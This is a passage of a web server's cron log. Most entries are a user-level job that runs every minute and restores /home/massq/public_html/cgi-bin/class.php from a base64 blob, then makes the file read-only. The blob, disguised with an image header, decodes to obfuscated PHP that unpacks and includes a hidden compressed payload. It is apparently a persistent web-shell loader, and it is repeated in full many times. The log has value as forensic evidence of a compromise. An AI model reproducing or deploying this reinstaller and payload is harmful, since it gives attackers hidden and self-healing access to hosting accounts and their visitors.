0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:07:01 server CROND[30258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:08:01 server CROND[30310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:09:01 server CROND[30369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:09:01 server CROND[30370]: (root) CMD (/usr/sbin/csf -u)
Apr  7 11:09:01 server CROND[30371]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 11:10:01 server CROND[30441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:10:01 server CROND[30443]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 11:10:02 server CROND[30442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:10:02 server CROND[30444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:11:01 server CROND[30665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:12:01 server CROND[30769]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 11:12:01 server CROND[30770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:13:01 server CROND[30825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:14:01 server CROND[30880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:15:01 server CROND[30945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:15:01 server CROND[30946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 11:15:01 server CROND[30947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:16:01 server CROND[31156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:17:01 server CROND[31216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:18:01 server CROND[31278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:19:01 server CROND[31352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 11:20:01 server CROND[31463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 11:20:01 server CROND[31464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 11:20:01 server CROND[31469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
